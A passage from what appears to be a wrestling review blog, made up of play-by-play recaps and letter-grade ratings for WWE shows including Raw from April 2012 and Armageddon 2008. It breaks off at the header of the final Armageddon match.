Jeff climbs the big one in the middle of the ring and Edge climbs one in the corner. Edge goes for the big spear like at Mania X7 but Hardy catches him in a Diamond Cutter (called a Twist of Fate but I can live with that one). They’re both on the big ladder and fight it out up there but Hardy drops down and in a brilliant spot pulls Edge down THROUGH the rungs of the ladder so that his arms are the only things stopping him from going down to the mat. That’s enough for Hardy to win it.

Rating: B+. Very solid main event here with the two masters of the ladder match doing what they do best and making it seem like a big deal. Not sure what but it was missing something from making it a classic, but it’s still great. These two have insane chemistry together and this is no exception. Great match and nearly a great way to close the show. I say nearly because the show isn’t quite over yet.

JR goes into the ring to talk to Hardy…..AND CUE PUNK’S MUSIC! It’s time for an MITB CASH IN!

Smackdown World Title: CM Punk vs. Jeff Hardy

Hardy can’t even stand up and there’s the GTS for 2. Punk’s heat is molten here as no one likes this other than me. I fell asleep during the ladder match when this aired and woke up to hear Hardy win. I closed my eyes again and heard Punk’s music. I FREAKED. A second GTS gives Punk the title.

I won’t bother with a rating obviously, but the first thirty seconds here were obviously harkening back to Gotch vs. Hackenschmidt but over the next fifteen seconds they really let things go as it turned very sloppy. The last 15 seconds saved it though as they were clearly channeling Steamboat and Flair other than about 2 seconds in the middle there. Punk’s current heel persona would kind of debut next month.

Overall Rating: D+. While there are two great matches on here, after that it just has nothing. And when I say nothing I mean NOTHING. The problem is that there’s a difference between being just a waste of time and being a bad waste of time. This would be the latter. Other than the IC and ladder matches, there is NOTHING here.

The problem with the IC match is the rematch next month is even better, so there is absolutely no reason to see this show. Punk’s first cash in was far better too, so there is just nothing of note here. The ladder match is good, but it certainly doesn’t save the show. Not recommended at all, but the IC match and ladder match are worth seeing if you’re bored.

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Monday Night Raw – April 16, 2012: Yes, With A British Accent

Monday Night Raw
Date: April 16, 2012
Location: 02 Arena, London, England
Commentators: Michael Cole, Jerry Lawler

We’re in England and on taped delay tonight which usually slows things down a lot. From what I can tell, Lesnar won’t be here tonight which is possibly a good thing. If nothing else maybe he can hit the gym tonight for a change. There’s probably going to be a title change of some sort, although not in the Henry vs. Punk match. The main events are usually strong in England though so let’s get to it.

Raw World Title: CM Punk vs. Mark Henry

No intro for Henry. This is No DQ and No Countout due to Punk retaining by both of those means before. Big reaction for Punk on the big match intros. Henry takes him into the corner to start so Punk fires off kicks to the knee. He walks into a kind of spinebuster though and Mark kicks him to the floor. Punk speeds things up and slides back in before diving back out for a suicide dive.

Henry shrugs off some more kicks but Punk gets up a boot to stop a charging challenger. Punk channels his inner Hardy by running the railing but goes much further before hitting a bulldog. He can’t get Henry back in though so he fires off more kicks. Henry grabs the leg and swings Punk into the barricade as we take a break.

Back with Punk caught in a neck crank and being run over by a clothesline/shoulder block. Punk rolls outside and grabs a chair for a few shots which get him a two count. Punk charges at him again with the chair but gets kicked down. Now Henry gets the chair and drills it into Punk’s back. He wedges the chair between the top and middle rope but Punk blocks the shot and comes back with kicks in the corner.

Henry runs Punk over again to come back and it’s off to a bearhug. Punk elbows out of it and hits a short DDT for two. Punk goes to the corner but springboards into World’s Strongest Slam position. He jumps out of it though and the high kick puts Henry into the corner. The knee/bulldog combo is countered (duh) but Punk trips him into the wedged chair which knocks Henry out. Punk grabs the chair and goes up, coming off with it like an elbow, Cactus Jack style, good for the pin at 13:12.

Rating: B-. These two have some solid chemistry together. I was wondering how Punk was going to be able to pull this off which is exactly what a match like this is supposed to make me wonder. This worked quite well and I was getting into it at the end. Henry was doing his usual stuff but having someone like Punk in there to keep the fans going made the whole thing work. Good stuff.

Jericho pops up on screen at a bar and says that he’s got a rematch for the title at Extreme Rules in a Chicago street fight. Punk says that’s cool because he’ll take Jericho apart in the streets of Chicago. Jericho says just show up sober and he shows us a clip of Punk going into a pub from earlier in the day. Jericho thinks Punk is drunk right now. Punk says his friends are drinkers and he can go in with them and have some fish and chips. Jericho says Punk sounds like his father and that the straightedge is just a facade now. Punk gets ready to respond but the screen cuts away.

R-Truth is dressed up like Sherlock Holmes and is talking to Little Jimmy Watson when Teddy Long pops up. Truth is going to find him a job. Teddy seems pleased.

Lord Tensai says nothing of note.

US Title: Santino Marella vs. David Otunga

Santino has about 7 British soccer shirts on, finally getting the right one with the British national team one. Quick slam by Otunga gets two and it’s time for clubbing forearms. There’s a three hour Raw next week. Oh and it’s the Draft. Cool. Santino tries his usual drop down but Otunga kicks him in the head. Spinebuster hits but Otunga has to slide all over the place to get in position so that the foot can go on the rope. Santino comes back with his usual stuff and here’s the Cobra, good for the pin at 2:00.

We go to a sitdown interview with Brock. He says he’s not a superstar but a legit destroyer. This is accompanied by highlights of his career on all levels, including him beating Rock. We also get some UFC stills which are still bizarre to see on Raw. Lesnar talks about bringing legitimacy to this company because Cena isn’t the real deal. If Brock had been around for the last eight years, Cena would be carrying his bags. The match at the PPV is an Extreme Rules match.

Zach Ryder vs. Kane

We go to a break during Kane’s entrance and come back to see the Kane attack on the Ortons last week. Ryder gets on the apron and Kane kicks him into the announce table. Kane rams him into the steps and the beating is on. Into the ring and there’s a chokeslam. There was never a bell.

Kane talks about the beating of the Ortons and how it was like father like son.

Kofi is talking to AJ in the back when Bryan pops up to a ROAR. He yells at Kofi for hitting on her and shushes AJ for speaking up. Bryan says he’ll put Kofi in the LeBell Lock but then realizes he’s better than Gene LeBell so it’s now the YES Lock, because that’s what people will be screaming when the referee asks if they give up. Bryan starts a long YES chant in Kofi’s face and keeps doing it until we take a break.

Cena time. Before he talks we see a clip of the Brock beating from last week. Cena finds it interesting that Johnny Ace is always around for these attacks from Brock. Wrestlemania was certainly the end of an era and it might be his own. With Ace becoming the most powerful man in the company, Cena might be in trouble. Ace seems to think that Cena Sucks (said in a great imitation) and that’s a problem.

Ace claims to be legitimizing all of this so he goes and gets Brock Lesnar. After a year of hearing about movie parts and next parts and entertainment, Brock Lesnar stands for destruction. On April 29, it’s not about winning because that’s all Brock has done. The sole purpose of Lesnar at Extreme Rules is to end and replace Cena. Cena doesn’t care because no matter what happens, he’s going to fight.

Here’s Ace who says this is the beginning of the era of People Power. The WWE Universe wants to see Cena fight so tonight Cena will be in an extreme rules match. Next Monday there’s a contract signing between Cena and Brock. The opponent is a mystery because that’s more fun. It doesn’t exactly explain why he told us who Cena’s opponent was in about 10 seconds last week but whatever.

We recap the world title match from earlier and the promo that followed.

Horny is in the back reading a book next to a shelf of CDs and albums when Truth walks through it. Horny tries to go through it but it doesn’t work. Ok then.

Kofi Kingston vs. Daniel Bryan

Bryan is ridiculously over. He takes it to the corner and hits a running dropkick. Bryan keeps control to start and we go to the floor. Bryan misses his running knee so Kofi pops up and hits a HUGE dive off the top as we take a break. Back with Bryan avoiding a charge to send Kofi into the buckle. AJ is watching in the back. More kicks from Daniel set up a chinlock.

Kofi comes back with chops and kicks followed by the jumping clothesline. Boom Drop hits and he loads up Trouble in Paradise. As he claps his hands, the fans chant No. That was cute. Yes Lock is countered into the SOS for two. Kofi sets for the top rope cross body but Bryan comes up for a superplex. Kofi shoves him off but the cross body misses. Yes Lock ends this at 10:31. AJ is smiling a little in the back.

Rating: B-. Another good match here as this is what Kofi is really good for: having good TV matches when you need someone to fill in a spot. Nothing is lost here and Kofi will be right back in this spot again. There’s nothing wrong with that because Kofi isn’t going to be a main event guy anytime soon. Good stuff.

Bryan goes for the Lock again but Sheamus makes the save.

Brodus Clay vs. Dolph Ziggler

Well this is some better competition wouldn’t you say? Dolph tries a dropkick but Clay easily suplexes him just after. And here’s Swagger for the DQ at 24 seconds.

Vickie shoves one of the dancing girls down but the other chases her into the ring. Brodus jiggles and Vickie gets shoved down.

Ace and Otunga have a meeting in the back when Eve pops up. She says they were supposed to have a meeting last week but Ace seems puzzled. They go into his office and Otunga follows.

Memorial video for Chief Jay Strongbow. Better late than never.

Little Jimmy has found Teddy a job: GM of Smackdown. He’s perfect because he has experience.

Great Khali/Big Show vs. Primo/Epico

Just scrap the tag titles too if this is th ebest the champions can get. We hear about Rosa and the champs complaining on Twitter lately. Khali and Epico get us going as Abraham Washington (called AW now apparently) is scouting. This goes badly for the champions so it’s off to Primo who gets kicked in the face. The champs try to bail with the titles but Show throws them back in. A pair of chops put them down and double chokeslams end this at 1:54. Oh screw you WWE. Your titles mean nothing and THIS IS WHY.

Package on the show in Moscow.

John Cena vs. ???

It’s Lord Tensai and this is Extreme Rules. Cena grabs a quick suplex but Tensai beats him up. Cena’s shorts look a little shorter here. A corner splash puts Cena on the floor and Tensai puts him into the steps. A powerbomb on the floor is countered and Cena gets the steps. Tensai’s dude drills Cena with kicks and Otunga throws him back in. Butterfly suplex gets two.

Tensai hooks a nerve hold but Cena fights back. Cena hits his usual stuff but when he loads up the Shuffle, Tensai pops up and chops Cena down. Backsplash gets two. Tensai drops a leg on the arm and puts on a Fujiwara Armbar. Sweet goodness there’s some crank on that thing. Cena rolls through into a crossface (called the STF by Cole) and Otunga runs in. There’s an AA for him but Cena walks into green mist and a Baldo Bomb for the pin at 7:00.

Rating: D+. At the end of the day, he’s Albert in red trunks. That doesn’t make him interesting or anything like that. It makes him slow and not someone that I want to watch. I don’t see the logic in having Cena lose AGAIN before a major showdown with Brock, but to be fair he can lose a few matches and not lose any credibility.

Cena is blind to end the show.

Overall Rating: B. I liked this show for the most part and the fact that it was taped didn’t really hurt things that badly. Some of the matches were pretty good and we advanced stuff towards the PPV which is a good thing. They need to flesh out the card a good bit but with three shows left before then that’s certainly possible. I liked this show and it worked pretty well. Good stuff.

Results
CM Punk b. Mark Henry – Chair shot from the top rope
Santino Marella b. David Otunga – Cobra
Daniel Bryan b. Sheamus – Yes Lock
Brodus Clay b. Dolph Ziggler via DQ when Jack Swagger interfered
Great Khali/Big Show b. Epico/Primo – Chokeslam to Primo
Lord Tensai b. John Cena – Chokebomb

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Monday Night Raw – April 9, 2012: From Pull Apart Brawls To Disco Balls

Monday Night Raw
Date: April 9, 2012
Location: Verizon Center, Washington D.C.
Commentators: Michael Cole, Jerry Lawler

After last week’s huge show it should be very interesting to see where the company goes from here. Brock Lesnar returned last week and laid out Cena, so I’d bet that we’re going to hear about that here. Other than that we have Brodus teaming with Santino apparently to face Ziggler/Swagger. Throw in Lord Tensai and Punk vs. Jericho and there are a ton of ways this show could go. Let’s get to it.

Oh and the cast of the Three Stooges is here tonight. Scratch that whole great show tonight.

We open with….the Stooges. Not Brock, not Cena, not Rock, not Punk, but a video on the Stooges.

Punk vs. Henry for the belt tonight.

Ace and Otunga really open the show. Ace now has trumpets for his music, which is probably a good thing. He talks about how this next guy is going to be the future of the WWE and will carry the banner of the company for years to come. We get a clip of Lesnar returning last week and laying out Cena. Brock vs. Cena is officially announced for Extreme Rules. Well Cena’s last match was a year long build so maybe a quick one is a good idea here.

Cole actually mentions UFC by name during Brock’s entrance. Brock does the jump to the apron thing. He thanks Ace for having the wisdom to bring legitimacy back to the WWE. That’s all Brock can get out because here comes Cena. Cena slams Brock in the face and HERE WE GO. Brock takes him down immediately but a bunch of suits pull them apart. Ok scratch that as they try to pull them apart. A bunch of jobbers and Ziggler come out and now there are bigger names in there.

There are probably thirty guys in there but they can’t keep Brock back. Even Sheamus is in there. Cena has some serious blood from his mouth and what looks like a huge hole in his lip. Now Cena goes after Brock again. They go at it AGAIN and Lesnar is finally put outside. Really hot opening here with faces and heels acting more realistic by having guys from either side of the spectrum holding back both Cena and Lesnar.

After a break Ace yells at Teddy and says it was his fault for not containing Cena. He sends Teddy off to get an explanation from Cena and complains to Otunga. Teddy leaves when Eve pops in and says to call her later. Why not talk to him now?

Brodus Clay/Santino Marella vs. Dolph Ziggler/Jack Swagger

Dolph and Santino start things off with Ziggy hooking some quick rollups for two. Off to Brodus vs. Swagger and Jack manages to take him down as we take a break. Back with Ziggler dropping an elbow for two on Santino. Off to swagger who slams Santino down to block a tag. Dolph comes back in and hooks something like a crossface which is broken up. There’s the hot tag to Brodus who cleans house, headbutts Dolph down and splashes him for the pin at 8:00.

Rating: C-. Not a great match or anything but the idea here was to make Brodus look like he can compete with bigger names, which he certainly did. I’m not wild about putting him with Santino, but having him play the monster that wrecks things after the hot tag is a fine role for him at the moment. No real complaints here but it was nothing more than adequate.

Miz is looking to talk to Ace but Ace says we’ll talk next week. Teddy comes in and gets yelled at but Cena comes in with dried blood on his face. He talks about the legitimacy that Ace wants which is fine with Cena, because he loves this and has no issue with getting his face busted up. Cena wants a match tonight and says Ace can pick the opponent no matter who it is. Cena leaves and Ace takes care of the idea of a mystery by saying it’ll be Otunga. Gee good thing he told us. We might have waited to see who it was.

Santino is looking for the Three Stooges.

Back from a break and he’s still looking. They’re playing it up like they’re the real Stooges and not actors portraying the Stooges. Instead santino finds Kane and does Stooges sound effects anyway. Kane isn’t pleased so Santino runs off.

R-Truth vs. Cody Rhodes

Cody takes him down quickly with the Alabama Slam….and here’s big Show who looks pretty awesome in a suit. We get a video from last week with Cody getting beaten by Kofi. The video ends and Cody walks into Little Jimmy for the pin at 1:38. You know, like last week, but this week instead.

Santino is still looking for them and finds a crate marked fragile. He thinks it’s Italian soda sent by his mom so he pries it open to find the Stooges. Slapstick ensues. We get the debut of the Moe-Bra. They go back in the box but Moe says they need to think outside of it.

Lord Tensai vs. Yoshi Tatsu

Believe it or not there’s a story to this. Yoshi has said on Twitter that he’s REAL Japanese and not a fake like Tensai. An Albert chant breaks out as he rams in headbutts. Yoshi got in a pair of chops but that’s about it. Tensai hits a bunch of strikes and just like last week it’s stopped after a chokebomb at 2:04. Claw hold post match.

Before we go to break we see Jericho breaking the bottle over Punk’s head last week.

After we come back from break we see Jericho breaking the bottle over Punk’s head last week.

Here’s Punk to talk about how Straightedge isn’t something everyone gets. It’s just one drink or one cigarette and he gets that. However to him it’s a choice. It wasn’t something he chose to be trendy, but rather because it’s a way of life. He doesn’t talk about it that much (other than becoming a messiah because of it) because he didn’t want people to feel sorry for him. He told himself a long time ago that he’d make it to the top because he’s the best in the world.

And then here came Chris Jericho who also says that he’s the best in the world. Jericho broke the privacy that Punk has spent his life building up by telling the world about his father’s alcoholism and making up lies about his sister. Then at Wrestlemania, he made Jericho tap out. Jericho took it one step further and poured whiskey all over him and broke the bottle over his head. It made Punk smell exactly like his father did when he’d come home drunk, which is something Punk hates.

Jericho pops up on the screen and thinks Punk is still hung over. Is he shaking because he’s on his first bender? Last week, Jericho made him CM Drunk for the first time. Punk is shaking with anger and says that last week all that was broken was a bottle. He says that Jericho’s failure was taking Punk to a dark place because he’s going to take that out on Jericho.

Raw World Title: Mark Henry vs. CM Punk

Punk goes right at him with knees and a spinning kick. A clothesline doesn’t do much and Henry runs him over on a second attempt at one. They go to the floor and Punk hits him with a monitor for the DQ at 47 seconds. Ok then.

Punk gets ready to jump off the apron with the monitor but Jericho pops up with alcohol. The distraction lets Henry get up and destroy Punk with a pair of slams in the ring. Henry leaves so Jericho pulls out his beer He goes to pour it on Punk but the champ pops up and it’s on. Punk charges into the Codebreaker though and gets beer poured on him.

Zack Ryder vs. Alberto Del Rio

This is exactly what you would expect from a Ryder match anymore: Del Rio beats him up, Ryder gets in a few shots so that two people in the audience believe he could have a chance, the Rough Ryder is countered and the armbreaker ends it at 1:27. The way they’ve treated Ryder might be the thing in WWE that disgusts me more than anything else in company history. Seriously.

The Stooges have an idea for something next.

Here are the Stooges minus Curly. He comes out in a fat suit as Hogan but his voice is high pitched. Moe smacks him and he turns into a pretty bad Hogan imitation. The fans are NOT impressed. THANKFULLY Kane comes out, drawing cheers. He does the fire corners thing and Moe/Larry run. Curly Hulks Up and gets chokeslammed. This was so stupid.

Henry says next week he gets another title shot, no DQ and no countout.

We recap the brawl that opened the show.

Lesnar says he’s proud of everything he does. Eight years ago he left and went to the UFC, won their world title and gave them success which he’s proud of. Now he’s proud to be back here where Cena thinks he’s on the top. Cena couldn’t hold his jockstrap in a million years. He’s not here to make friends because he’s a proud war machine but he’s not as proud as the fans should be to have him back.

Here’s a video of the main event guys talking about how great HHH vs. Taker was because we can’t go five minutes without praising HHH or Undertaker right? At least with this one, the match really was that good.

John Cena vs. David Otunga

Feeling out process to start and Cena wipes the baby oil off Otunga. To be fair the guy was probably a fire hazard. Cena pounds him but he misses a splash in the corner and David gets in some offense. Shoulder block gets two. Otunga poses a lot and here comes Cena. The usual stuff sets up the Shuffle, AA, STF for the tap at 5:05.

Rating: C-. This was nothing of note but it gave us some Cena to watch for the night. Also it allows for the Brock run-in which is happening as I type this. These two are big deals and they need to be on TV as much as they can when Brock is around. He’ll only be around a few times a month so they need to use him properly.

Post match Brock runs in and low blows Cena (which we get a full replay of in the middle of the attack) and lays him out with the F5.

Overall Rating: B+ This was a very solid show and while it’s a step behind last week’s, the hot streak certainly is continuing. The Stooges thing was stupid, but other than that we’re still getting Cena vs. Lesnar in a few weeks, which is huge to say the least. The key difference to WWE at the moment is it feels like they’re actually trying and putting some effort into their stories which hasn’t been the case for a long time recently. You can tell when they’ve got it in coast mode and when they’re pounding it in, and they’re on a roll at the moment. Blast From The Past should be fun tomorrow night, at least I hope.

Results
Santino Marella/Brodus Clay b. Dolph Ziggler/Jack Swagger – Splash to Ziggler
R-Truth b. Cody Rhodes – Little Jimmy
Lord Tensai b. Yoshi Tatsu via referee stoppage
Mark Henry b. CM Punk via DQ when Punk hit Henry with a monitor
Alberto Del Rio b. Zack Ryder – Cross Armbreaker
John Cena b. David Otunga – STF

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Cena vs. Lesnar Official For Extreme Rules

I like this for a contrast to Cena vs. Rock, as they’re not making us wait that long. The company is hot right now so they’re capitalizing on it. The opening brawl was awesome too.

Thoughts on this?



Armageddon 2008: Jeffrey Freaking Nero Hardy

Armageddon 2008
Date: December 14, 2008
Location: HSBC Arena, Buffalo, New York
Attendance: 12,500
Commentators: Jim Ross, Jerry Lawler, Matt Striker, Todd Grisham, Michael Cole, Taz

Well this is the final show of the series and thankfully we go out with a big old bang. The main events are Edge vs. HHH vs. Hardy for the Smackdown title and Jericho vs. Cena for the Red Show title. Also there’s Batista vs. Orton in the closest thing to a major match they ever had (not counting some random title matches). Let’s get to it.
In a not very interesting bit of trivia, the dark match for this show is the same match that was the dark match for the previous year’s Armageddon: Jesse and Festus vs. Miz/Morrison. The more famous team lost the first time and won this year.

It’s Armageddon and the same theme is used.

Matt Hardy vs. Vladimir Kozlov

Vlad was released on the day this was written. Matt is ECW Champion but this is non-title. Vlad has that rare thing called credibility here and is undefeated. The fans chant USA as is their custom because they’re anti-foreigner. Hardy starts off kind of well and is then thrown all over the place because Vlad is Russians and Russians are better fighters. He throws on a key lock and the fans cheer for Hardy.

Vlad shifts off to an armbar and pulls Matt off the mat (oh the irony) by his arm which looked REALLY freaking painful. Trapping headbutts keep Matt from getting any long term offense going. Vlad gets a DDT to either the head or the arm. It looked like a regular one but it seemed like Matt landed on his arm. Back to the keylock as this isn’t a very exciting match even though the fans are interested in it.

Matt manages to get up top and hit a top rope elbow to the head. Vlad gets tossed to the floor but Matt’s dive doesn’t work. He counters the counter though and Vlad tastes the steel. Not really but you get the idea. I doubt Vlad likes to lick posts but who knows, maybe he does. Matt goes up again but jumps into a punch for two. He goes into the corner for ten punches but gets dropped onto the post. The headbutt to the chest and a standing spinebuster end this.

Rating: C. Not a bad match but there’s something out of place about a Russian monster using arm holds for the majority of the match. Matt losing was expected because he’s Matt Hardy, but Vlad’s push more or less stopped soon after this, mainly due to an abysmal fan response at Cyber Sunday. Nothing great here but it was fine for what it was.

Edge, Vickie and Chavo are in the back. Edge leaves to get ready and Chavo asks Vickie how they got rid of Jeff that night in the hotel. Vickie doesn’t want to answer and sends Chavo for coffee.

Horny comes up to Eve and hits her with a rubber hammer. Finlay comes in to help her and Eve says it’s cool. Finlay tells his son not to come out for the match later because he might get hurt. Horny is sad.

Here’s William Regal with Layla to sit at ringside for the next match.

Intercontinental Championship Tournament Final: CM Punk vs. Rey Mysterio

Why they call it that I have no idea because it’s for a shot at the title, held by Regal. Punk is introduced as half of the tag champions but he and Kofi lost the titles at a house show the previous night to Miz and Morrison. There’s a pre-match handshake and here we go. Mysterio might have a bad wrist but it isn’t taped. Jerry does his job and talks about how having an injury taped up is a bad idea at times.

Some lone fan tries to start a Miz and Morrison chant and the arena shouts him down. Pretty basic back and forth stuff to start but they’re speeding up. 619 is avoided but the GTS fails also. Rey is sent to the floor in front of Regal and Punk hits a big dive which gets two in the ring. Tilt-a-whirl backbreaker gets two. Rey tries to speed things up but is caught in the Tree of Woe and Punk fires off some kicks.

He avoids a charge though and hits a moonsault off the top for two. It might have hurt his already injured wrist though and Punk capitalizes it. Punk grabs a weird kind of crossface where he puts Rey’s arm behind Punk’s back and cranks back on it. Rey gets to the ropes and uses what appears to be La Mistica (Sin Cara’s move in Mexico) but Punk makes a rope as well.

A dropkick puts Punk on the floor and Rey hits a big dive off the top, putting both guys down. Back in a victory roll by Rey gets two but Punk counters into a rollup of his own for two. Pretty back and forth match so far with both guys mirroring each other. Punk hits a running bulldog for two. Regal is finally interested in the match while Layla holds the title up for him.

Punk puts Rey on the ropes but gets put in the 619 position. That misses again and Punk tries the GTS. Rey reverses that into a rana to put CM into 619 position. It finally connects but the splash misses. Crucifix gets two for Rey. Punk counters another rana attempt and hits the GTS out of mostly nowhere for the pin and the shot at Regal. Rey’s nose is busted.

Rating: B. Rather good match here and they were moving out there. The ending is kind of out of nowhere but the GTS looked good. Rey would get the title from JBL at Mania in like 30 seconds after JBL beat Punk for it who beat Regal for it like three weeks after this. Good match here though as is par for the course with these two.

Jeff talks about spending the last year to get ready for this moment. He’s been told he had to change to get what he wanted, but that’s because the people are afraid of him. Tonight he’ll prove everyone wrong and become WWE Champion.

We recap JBL and Shawn’s issues. The idea is that Shawn is broke due to the 2008 financial crash. He had to take a job with JBL as his servant basically and give up his pride. The problem with all this was simple: Shawn Michaels is a top level WWE Superstar. Are we supposed to believe he doesn’t make enough to pay his bills?

Here’s JBL who introduces Shawn as his new employee. He says that the financial issues have caught up with him and he’s invested his money in the stock market. See, that’s the thing: he got his money being a wrestler and he has the same job now. He’s still making checks now so why is this such a big issue?

It makes sense in theory but it always came off as a hole in the story to me. Shawn doesn’t like JBL but he’s not going to become one of those guys that you hear about who is a tragedy and going to a high school gym to wrestle for a quick payday. YOU WERE IN THE MATCH OF THE YEAR LAST YEAR AT WRESTLEMANIA. I THINK YOU HAVE SOME TIME LEFT. Anyway, Shawn shakes JBL’s hand and is all sad. He always will have a lifetime job looking for his smile.

Orton says…nothing because Cody and Manu interrupt. Cody says Orton was the star of Evolution and Manu says that Orton has been waiting to prove himself as the better man for years. I can see why Manu didn’t keep his job long. Everyone leaves after that in a weird moment.

Some Buffalo Bills are here.

Finlay vs. Mark Henry

This is a Belfast Brawl, which means street fight. Henry had tried to squash Horny but Finlay made the save for his son. Tony Atlas is with Henry. Striker says this has its roots in the streets of Belfast. There are wrestling rings in Belfast streets where you win fights by holding someone down for three seconds in front of 12,000 people? Henry sends him to the floor quickly but Finlay manages to send him into the announce table. Henry takes over and pounds away outside, ramming him into the railing.

No Hornswoggle out here as per his pop’s request. Back in the ring the splash misses and Finlay tries to get in some offense. The Irish dude pulls out some weapons, in the form of like three trashcans. The delay lets Henry get up and Finlay goes down fast. Henry hits that move that has no name where you jump on the guy’s head when he’s in the 619 position. He yells at Finlay, saying you wanted a fight and now you got one.

Finlay manages to fight back with a trashcan shot and another to put Henry down. He pounds away a bit and gets two. Henry takes over again and stands on Finlay’s chest but misses a Banzai Drop from the middle rope. Yokozuna he is not. There’s that Irish club that I can’t spell but Henry knocks it out of Finlay’s hand. Henry breaks the club easily and does the same to a kendo stick.

Bear hug goes on and here’s Horny. Henry casually throws him into Finlay’s balls from where he came. Or did Finlay come? Not sure actually. I guess Finlay had to so Horny could. And I guess Finlay had to be Horny to come so Horny could come. I love wordplay. Anyway Henry beats Finlay down and picks up the steps but Finlay dropkicks the knee to send Henry’s face into the steps. Horny slips him another stick (add that aspect to the aforementioned joke) and a shot to the head with that ends this.

Rating: C-. Eh nothing too horrible here. The weapons probably saved this as I don’t even want to imagine these two trying to have a regular match. Not a horrible match here and Horny helping to win is ok. I don’t mind him as a sidekick but being on the show week after week gets to be a bit much.

The Divas are decorating a tree and here’s Santa-Haas. They all get presents which were already in the room. Santino and Beth come in and show off Beth’s Diva of the Year Slammy. Santino tries to get a present out of the box but Boogeyman is inside. He runs for the door and there’s Goldust under some mistletoe. Boogey gives Goldust a present and then the two of them along with Santa, the Divas and the drugged out Festus sing We Wish You A Merry Christmas. It’s as weird as it sounds.

Kennedy says drink responsibly and don’t do drugs. However, do go get his new DVD, Behind Enemy Lines III.

We recap Batista vs. Orton. They were both in Evolution and this fight is basically to decide who was the better young and future star in the team. Both won world titles and then Orton went all heel and said he was better than everyone else. I don’t get why this is at Armageddon and not like at, Wrestlemania or something.

Batista vs. Randy Orton

Cody and Manu are with Orton. They fight over a lockup to start and there’s no real advantage yet. Orton takes him to the mat but that gets him nowhere at all. Batista goes to the floor and Rhodes gets involved for generally evil purposes. The two of them get thrown out quickly though so we get down to a regular match. Orton sends the shoulder into the post and works on the arm for the first real advantage.

They’re treating this like a clash of the titans which it really is. There’s an RKO chant also. Batista snaps and tries a Batista Bomb early but Randy escapes into a neckbreaker for two. Batista tosses him to the floor and Orton may have reinjured his shoulder which was hurt earlier in the year. Back in Orton manages to get the elevated DDT for two. This is when the move made sense as the rope is under Big Dave’s knees instead of his ankles, making it a bit harder to escape.

Since we were getting close to something interesting out of Orton, it’s the Orton Stomp to the rescue! When you steal moves from Ronnie Garvin, you’re not in a good place. Batista goes to the floor as the pace of the match has gone down into negative gears. Orton throws on a chinlock which is broken rather quickly. He’s working on the neck so we hit the chinlock again.

The fans aren’t sure if they want to chant boring or not. Big Dave gets underneaath the chinlock and drops back with the weight crashing down onto Randy. Batista wins a slugout but Orton uses the lethal art of kicking your feet to escape a powerslam. They go outside again which doesn’t amount to much. A superplex by Orton gets two.

Spinebuster gets two out of nowhere for Batista. He’s too spent to follow up immediately and the Batista Bomb is delayed. Orton gets the backbreaker for two. RKO is blocked and Batista gets a slam for two. The Animal (just a generic animal, not the Viper) is getting frustrated. Another Bomb attempt is countered and Randy gets a DDT for two. The Punt is countered by Batista putting him in the corner and ramming in shoulders and then ten punches. Orton tries to counter into something but winds up in the position for the Batista Bomb and we’re done.

Rating: B-. Well the second half was better but at the same time the first half was really boring. Orton got A LOT better over the last year or so and was just dull beyond belief as a heel in 2008. A lot of this match was weak but they turned it around and got something close to a big match going. The pacing was off too though and it looked like they kept wanting to get going but it never clicked.

Recap of the Slammys from Raw on Monday. This is mainly done to set up some more of Cena vs. Jericho. They’re fighting for the Raw World Title later. Jeff Hardy, Edge and HHH got involved somehow too.

Maria/Mickie James/Kelly Kelly/Michelle McCool vs. Maryse/Jillian Hall/Victoria/Natalya

Santa’s Little Helper’s match here. The heels are in green and are elves I guess. Maria’s song is really catchy. I miss Michelle. Mickie vs. Maryse starts us off. Mickie keeps going after her and Maryse tries to pose. Off to Mickie vs. Natalya in the real fight here. Nattie is pretty new at this point. Kelly is Jewish and Striker calls her the Hot Hebrew. That sounds like a really bad coffee shop. The announcers are having a fun time with this. The match is totally pointless of course and it’s off to Maria. Somehow she gets compared to John Berzerker Nord. Everything breaks down and Michelle hits the Faithbreaker (Styles Clash) to end Maryse.

Rating: C+. Don’t bother trying to figure out if the rating is good because it isn’t, but there was a weird energy for this one and I had fun with it. Also Michelle in shorts and Maria with her energetic perkiness are never bad things. The girls looks hot and everyone was having fun in a nice breath of air before the main events. What more can you ask for?

Khali comes out for the Kiss Cam with the Divas in the ring still. Michelle runs away with her Divas Title. Instead he’s going to kiss the other three. This doesn’t work either so Runjin Singh says that it’s because he’s too much man for them. Singh has a backup plan in the form of Mae Young. This is one of those things you classify as all in good fun. Yes it’s stupid, but I like it for some weird reason. The announcers are cracking up over Lawler’s one liners.

Preview of Prince of Persia, which is the game sponsoring the show.

We recap Jericho vs. Cena which is a rematch from Survivor Series where Cena came back to beat Jericho for the title after being gone for like three months. Jericho never beat Cena for the most part so what do you think is happening here? Oh and Jericho is the Superstar of the Year, which he probably deserved. The rest of the video is a long beatdown of Cena by Jericho with help from Legacy.

Raw World Title: John Cena vs. Chris Jericho

After some big match intros we’re ready to go. Crowd is mostly pro Cena, I’d say 75-80%. Jericho outsmarts him to start and stomps away on the back and the neck. Cena is like screw this and spears him down to hammer away. Jericho fights out and throws on a sleeper. Cena might go to sleep faster if Jericho wasn’t calling spot to him. Dueling chants already but the better one is for Jericho.

Cena reverses into an attempted FU but that gets countered into a DDT. Cena rolls to the floor and Jericho gets caught in another FU attempt but he counters THAT into a bulldog off the apron and onto the steps. Cool sequence there. Jericho stays on the neck which is good psychology from a master of it. Cena counters into his finishing sequence but it’s WAY too early for that.

Jericho manages another counter to the FU, this time into the Walls. Scratch that as it’s more like a door frame which is reversed by Cena anyway. Missile dropkick from the middle rope gets two. Nice fast paced match here so far. Throwback is blocked and Jericho hits the Lionsault for two. We go up top and Cena blocks a superplex and hits the top rope Fameasser for a delayed cover.

The ninth or so FU attempt is countered as Jericho lands on his feet and the Codebreaker gets two. Jericho charges at Cena again and this time gets caught in the FU. It only gets two and both guys are down. Jericho pulls a Bret and plays possum into a small package for two. Cena grabs the STFU but Jericho counters into the Walls. He manages to crawl through Chris’ legs and grabs the STFU for a relatively quick tap out.

Rating: B+. I liked this one as they had both guys moving out there the entire time and constantly countering the finishers. Cena tried the FU about 10 times but he kept hammering away until Jericho ran out of counters and got frustrated, resulting in his downfall. Nice story being told and great execution of it. What more can you ask for from a match like this?

We recap the Smackdown World Title match. Someone jumped Hardy to keep him out of the triple threat match at Survivor Series. Edge returned and stole the title from HHH. The attack on Hardy was called the most disgusting thing of the year for some reason because it implied Jeff was on drugs or something, despite that never being mentioned ever. Oh well I guess.

Smackdown World Title: Edge vs. HHH vs. Jeff Hardy

